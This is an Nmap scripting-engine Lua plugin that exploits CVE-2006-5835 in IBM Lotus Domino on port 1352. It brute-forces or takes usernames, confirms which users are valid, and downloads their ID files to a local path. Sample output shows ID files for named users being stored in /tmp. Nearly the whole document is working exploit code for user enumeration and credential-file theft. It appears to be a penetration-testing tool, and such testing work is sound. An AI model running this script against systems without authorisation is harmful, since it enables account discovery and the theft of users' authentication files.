description = [[
Attempts to discover valid IBM Lotus Domino users and download their ID files by exploiting the CVE-2006-5835 vulnerability.
]]

---
-- @usage
-- nmap --script domino-enum-users -p 1352 <host>
--
-- @output
-- PORT     STATE SERVICE REASON
-- 1352/tcp open  lotusnotes
-- | domino-enum-users:
-- |   User "Patrik Karlsson" found, but not ID file could be downloaded
-- |   Succesfully stored "FFlintstone" in /tmp/FFlintstone.id
-- |_  Succesfully stored "MJacksson" in /tmp/MJacksson.id
--
--
-- @args domino-id.path the location to which any retrieved ID files are stored
-- @args domino-id.username the name of the user from which to retrieve the ID.
--		 If this parameter is not specified, the unpwdb library will be used to
--		 brute force names of users.
--
-- For more information see:
-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
--
-- Credits
-- -------
-- o Ollie Whitehouse for bringing this to my attention back in the days when
--   it was first discovered and for the c-code on which this is based.

--
-- Version 0.1
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--

author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}

require 'shortport'
require 'nrpc'
require 'unpwdb'

portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")

--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data 
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
	local f = io.open( filename, "w")
	if ( not(f) ) then
		return false, ("Failed to open file (%s)"):format(filename)
	end
	if ( not(f:write( data ) ) ) then
		return false, ("Failed to write file (%s)"):format(filename)
	end
	f:close()

	return true
end

action = function(host, port)

	local helper = nrpc.Helper:new( host, port )
	local status, data, usernames, err
	local path = nmap.registry.args['domino-enum-users.path']
	local result = {}
	local save_file = false
	local counter = 0
	
	if ( nmap.registry.args['domino-enum-users.username'] ) then
		usernames = ( 	function() 
							local b = true 
							return function() 
								if ( b ) then 
									b=false; 
									return nmap.registry.args['domino-enum-users.username']
								end
						 	end 
						end )()
	else
		status, usernames = unpwdb.usernames()
		if ( not(status) ) then
			return false, "Failed to load usernames"
		end
	end
	
	for username in usernames do
		status = helper:connect()
		if ( not(status) ) then
			err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
			break
		end

		status, data = helper:isValidUser( username )
		helper:disconnect()
		
		if ( status and data and path ) then
			local filename = ("%s/%s.id"):format(path, username )
			local status, err = saveIDFile( filename, data )
			
			if ( status ) then
				table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
			else
				stdnse.print_debug( err )
				table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
			end
		elseif( status and data ) then
			table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )			
		elseif ( status ) then
			table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )						
		end
		
		counter = counter + 1
	end
	
	if ( #result == 0 ) then
		table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
	end
	
	result = stdnse.format_output( true, result )
	if ( err ) then
		result = result .. ("  \n  %s"):format(err)
	end
	
	return result
end